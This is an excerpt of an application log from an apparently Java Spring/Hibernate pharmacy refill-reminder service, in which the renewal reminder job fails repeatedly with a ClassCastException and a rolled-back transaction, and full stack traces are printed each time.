NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 16:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 16:55:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 16:55:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 16:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 16:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 16:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 16:55:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 16:55:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 16:55:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 16:55:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 17:00:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 17:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 17:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 17:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 17:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 17:00:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 17:00:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 17:00:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 17:00:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 17:00:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 17:00:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 17:00:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 17:00:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 17:00:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 17:05:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 17:05:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 17:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 17:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 17:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 17:05:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 17:05:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 17:05:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 17:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 17:05:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 17:05:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 17:05:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 17:05:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 17:05:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 17:10:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 17:10:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 17:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 17:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 17:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 17:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 17:10:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 17:10:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 17:10:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 17:10:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 17:10:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 17:10:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at 